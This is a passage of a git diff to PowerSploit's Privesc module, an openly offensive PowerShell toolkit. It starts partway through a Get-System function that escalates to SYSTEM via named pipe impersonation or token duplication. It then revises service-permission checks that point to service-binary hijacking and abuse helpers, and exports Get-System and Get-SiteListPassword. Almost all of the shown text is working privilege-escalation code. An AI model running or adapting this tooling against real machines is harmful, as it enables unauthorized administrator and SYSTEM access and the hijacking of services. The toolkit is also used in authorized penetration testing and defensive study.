+ Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop
+ }
+
+ if($PSBoundParameters['WhoAmI']) {
+ Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)"
+ return
+ }
+
+ elseif($PSBoundParameters['RevToSelf']) {
+ $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf
+ $RevertToSelfDelegate = Get-DelegateType @() ([Bool])
+ $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate)
+
+ $RetVal = $RevertToSelf.Invoke()
+ if($RetVal) {
+ Write-Output "RevertToSelf successful."
+ }
+ else {
+ Write-Warning "RevertToSelf failed."
+ }
+ Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
+ }
+
+ else {
+ if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) {
+ Write-Error "Script must be run as administrator" -ErrorAction Stop
+ }
+
+ if($Technique -eq 'NamedPipe') {
+ # if we're using named pipe impersonation with a service
+ Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName
+ }
+ else {
+ # otherwise use token duplication
+ Get-SystemToken
+ }
+ Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
+ }
+}
diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1
index 9954c98..cb2bda5 100644
--- a/Privesc/PowerUp.ps1
+++ b/Privesc/PowerUp.ps1
@@ -122,8 +122,7 @@ function Test-ServiceDaclPermission {
# check if sc.exe exists
if (-not (Test-Path ("$env:SystemRoot\system32\sc.exe"))){
- Write-Warning "[!] Could not find $env:SystemRoot\system32\sc.exe"
- return $False
+ throw [System.IO.FileNotFoundException] "$env:SystemRoot\system32\sc.exe not found"
}
$ServiceAccessFlags = @{
@@ -151,68 +150,60 @@ function Test-ServiceDaclPermission {
# make sure we got a result back
if (-not ($TargetService)){
- Write-Warning "[!] Target service '$ServiceName' not found on the machine"
- return $False
+ throw [System.Management.Instrumentation.InstanceNotFoundException] "Target service '$ServiceName' not found on the machine"
}
- try {
- # retrieve DACL from sc.exe
- $Result = sc.exe sdshow $TargetService.Name | where {$_}
+ # retrieve DACL from sc.exe (only possible if 'RC' DACL is set)
+ $Result = sc.exe sdshow $TargetService.Name | where {$_}
- if ($Result -like "*OpenService FAILED*"){
- Write-Warning "[!] Access to service $($TargetService.Name) denied"
- return $False
- }
+ if ($Result -like "*OpenService FAILED*"){
+ throw [System.Management.Automation.ApplicationFailedException] "Could not retrieve DACL permissions for '$($TargetService.Name)'"
+ }
- $SecurityDescriptors = New-Object System.Security.AccessControl.RawSecurityDescriptor($Result)
+ $SecurityDescriptors = New-Object System.Security.AccessControl.RawSecurityDescriptor($Result)
- # populate a list of group SIDs that the current user is a member of
- $Sids = whoami /groups /FO csv | ConvertFrom-Csv | select "SID" | ForEach-Object {$_.Sid}
+ # populate a list of group SIDs that the current user is a member of
+ $Sids = whoami /groups /FO csv | ConvertFrom-Csv | select "SID" | ForEach-Object {$_.Sid}
- # add to the list the SID of the current user
- $Sids += [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value
+ # add to the list the SID of the current user
+ $Sids += [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value
- ForEach ($Sid in $Sids){
- ForEach ($Ace in $SecurityDescriptors.DiscretionaryAcl){
-
- # check if the group/user SID is included in the ACE
- if ($Sid -eq $Ace.SecurityIdentifier){
-
- # convert the AccessMask to a service DACL string
- $DaclString = $($ServiceAccessFlags.Keys | Foreach-Object {
- if (($ServiceAccessFlags[$_] -band $Ace.AccessMask) -eq $ServiceAccessFlags[$_]) {
- $_
- }
- }) -join ""
-
- # convert the input DACL to an array
- $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_})
-
- # counter to check how many DACL permissions were found
- $MatchedPermissions = 0
+ ForEach ($Sid in $Sids){
+ ForEach ($Ace in $SecurityDescriptors.DiscretionaryAcl){
+
+ # check if the group/user SID is included in the ACE
+ if ($Sid -eq $Ace.SecurityIdentifier){
- # check if each of the permissions exists
- ForEach ($DaclPermission in $DaclArray){
- if ($DaclString.Contains($DaclPermission.ToUpper())){
- $MatchedPermissions += 1
- }
- else{
- break
- }
+ # convert the AccessMask to a service DACL string
+ $DaclString = $($ServiceAccessFlags.Keys | Foreach-Object {
+ if (($ServiceAccessFlags[$_] -band $Ace.AccessMask) -eq $ServiceAccessFlags[$_]) {
+ $_
}
- # found all permissions - success
- if ($MatchedPermissions -eq $DaclArray.Count){
- return $True
+ }) -join ""
+
+ # convert the input DACL to an array
+ $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_})
+
+ # counter to check how many DACL permissions were found
+ $MatchedPermissions = 0
+
+ # check if each of the permissions exists
+ ForEach ($DaclPermission in $DaclArray){
+ if ($DaclString.Contains($DaclPermission.ToUpper())){
+ $MatchedPermissions += 1
}
- }
- }
+ else{
+ break
+ }
+ }
+ # found all permissions - success
+ if ($MatchedPermissions -eq $DaclArray.Count){
+ return $True
+ }
+ }
}
- return $False
- }
- catch{
- Write-Warning "Error: $_"
- return $False
}
+ return $False
}
function Invoke-ServiceStart {
@@ -369,7 +360,7 @@ function Invoke-ServiceEnable {
try {
# enable the service
- Write-Verbose "Enabling service '$TargetService.Name'"
+ Write-Verbose "Enabling service '$($TargetService.Name)'"
$Null = sc.exe config "$($TargetService.Name)" start= demand
return $True
}
@@ -417,7 +408,7 @@ function Invoke-ServiceDisable {
try {
# disable the service
- Write-Verbose "Disabling service '$TargetService.Name'"
+ Write-Verbose "Disabling service '$($TargetService.Name)'"
$Null = sc.exe config "$($TargetService.Name)" start= disabled
return $True
}
@@ -458,11 +449,17 @@ function Get-ServiceUnquoted {
if ($VulnServices) {
ForEach ($Service in $VulnServices){
+ try {
+ $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP'
+ } catch {
+ $CanRestart = "Cannot be determined through DACL, try manually."
+ }
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $Service.name
$Out | Add-Member Noteproperty 'Path' $Service.pathname
$Out | Add-Member Noteproperty 'StartName' $Service.startname
$Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -ServiceName '$($Service.name)' -Path <HijackPath>"
+ $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
$Out
}
}
@@ -492,12 +489,18 @@ function Get-ServiceFilePermission {
$ServiceStartName = $_.startname
$ServicePath | Get-ModifiableFile | ForEach-Object {
+ try {
+ $CanRestart = Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WPRP'
+ } catch {
+ $CanRestart = "Cannot be determined through DACL, try manually."
+ }
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $ServiceName
$Out | Add-Member Noteproperty 'Path' $ServicePath
$Out | Add-Member Noteproperty 'ModifiableFile' $_
$Out | Add-Member Noteproperty 'StartName' $ServiceStartName
$Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -ServiceName '$ServiceName'"
+ $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
$Out
}
}
@@ -510,7 +513,7 @@ function Get-ServicePermission {
This function enumerates all available services and tries to
open the service for modification, returning the service object
- if the process doesn't failed.
+ if the process didn't fail.
.EXAMPLE
@@ -541,11 +544,17 @@ function Get-ServicePermission {
# means the change was successful
if ($Result -contains "[SC] ChangeServiceConfig SUCCESS"){
+ try {
+ $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP'
+ } catch {
+ $CanRestart = "Cannot be determined through DACL, try manually."
+ }
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $Service.name
$Out | Add-Member Noteproperty 'Path' $Service.pathname
$Out | Add-Member Noteproperty 'StartName' $Service.startname
$Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -ServiceName '$($Service.name)'"
+ $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
$Out
}
}
@@ -794,7 +803,7 @@ function Write-ServiceBinary {
The service name the EXE will be running under. Required.
- .PARAMETER Path
+ .PARAMETER ServicePath
Path to write the binary out to, defaults to the local directory.
@@ -920,7 +929,7 @@ function Install-ServiceBinary {
<#
.SYNOPSIS
- Users Write-ServiceBinary to write a C# service that creates a local UserName
+ Uses Write-ServiceBinary to write a C# service that creates a local UserName
and adds it to specified LocalGroup or executes a custom command.
Domain users are only added to the specified LocalGroup.
@@ -1006,7 +1015,7 @@ function Install-ServiceBinary {
Write-Verbose "Backing up '$ServicePath' to '$BackupPath'"
try {
- Move-Item -Path $ServicePath -Destination $BackupPath -Force
+ Copy-Item -Path $ServicePath -Destination $BackupPath -Force
}
catch {
Write-Warning "[*] Original path '$ServicePath' for '$ServiceName' does not exist!"
diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1
index 34ebf7b..d3d9a97 100644
--- a/Privesc/Privesc.psd1
+++ b/Privesc/Privesc.psd1
@@ -22,31 +22,33 @@ Description = 'PowerSploit Privesc Module'
PowerShellVersion = '2.0'
# Functions to export from this module
-FunctionsToExport = @(
- 'Get-ServiceUnquoted',
- 'Get-ServiceFilePermission',
- 'Get-ServicePermission',
- 'Get-ServiceDetail',
- 'Invoke-ServiceAbuse',
- 'Write-ServiceBinary',
- 'Install-ServiceBinary',
- 'Restore-ServiceBinary',
+FunctionsToExport = @(
'Find-DLLHijack',
'Find-PathHijack',
- 'Write-HijackDll',
+ 'Get-ApplicationHost',
'Get-RegAlwaysInstallElevated',
'Get-RegAutoLogon',
+ 'Get-ServiceDetail',
+ 'Get-ServiceFilePermission',
+ 'Get-ServicePermission',
+ 'Get-ServiceUnquoted',
+ 'Get-UnattendedInstallFile',
'Get-VulnAutoRun',
'Get-VulnSchTask',
- 'Get-UnattendedInstallFile',
'Get-Webconfig',
- 'Get-ApplicationHost',
+ 'Install-ServiceBinary',
+ 'Invoke-AllChecks',
+ 'Invoke-ServiceAbuse',
+ 'Restore-ServiceBinary',
+ 'Write-HijackDll',
+ 'Write-ServiceBinary',
'Write-UserAddMSI',
- 'Invoke-AllChecks'
+ 'Get-SiteListPassword',
+ 'Get-System'
)
# List of all files packaged with this module
-FileList = 'Privesc.psm1', 'PowerUp.ps1', 'README.md'
+FileList = 'Privesc.psm1', 'Get-SiteListPassword.ps1', 'Get-System.ps1', 'PowerUp.ps1', 'README.md'
}